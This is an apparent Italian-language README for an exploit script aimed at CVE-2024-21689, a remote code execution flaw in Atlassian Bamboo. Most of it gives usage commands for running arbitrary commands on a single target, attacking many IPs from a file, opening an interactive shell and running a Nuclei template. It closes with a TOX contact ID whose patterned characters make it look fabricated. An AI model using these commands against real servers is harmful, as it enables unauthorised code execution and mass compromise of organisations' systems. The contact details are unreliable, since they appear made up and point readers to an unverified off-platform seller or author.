CVE-2024-21689

#CVE-2024–21689 RCE Bamboo Data Center e Server Atlassian

Punteggio CVSS - 7.6 🔥

Descrizione

Questa vulnerabilità RCE (Remote Code Execution) ad alta gravità, CVE-2024-21689, è stata introdotta nelle versioni 9.1.0, 9.2.0, 9.3.0, 9.4.0, 9.5.0 e 9.6.0 di Bamboo Data Center e Server. Questa vulnerabilità RCE (Remote Code Execution), con un punteggio CVSS di 7.6, consente a un utente autenticato di eseguire codice arbitrario, con un impatto elevato sulla riservatezza, un impatto elevato sull'integrità, un impatto elevato sulla disponibilità e richiede l'interazione dell'utente.

Esecuzione dello Script

• Modalità URL singolo:

  python3 exploit.py -u http://<target-ip>:8090 -c "whoami"
  

• Modalità file (per più IP):

  python3 exploit.py -f ips.txt -c "whoami"
  

• Modalità shell interattiva:

  python3 exploit.py -u http://<target-ip>:8090 --shell
  

• Nuclei:

  nuclei exploit.yaml -f file.txt
  

Contatti

Contattami su TOX: 6FDB3C4D5E6F7G8H9I0J1K2L3M4N5O6P7Q8R9S0TQDQ2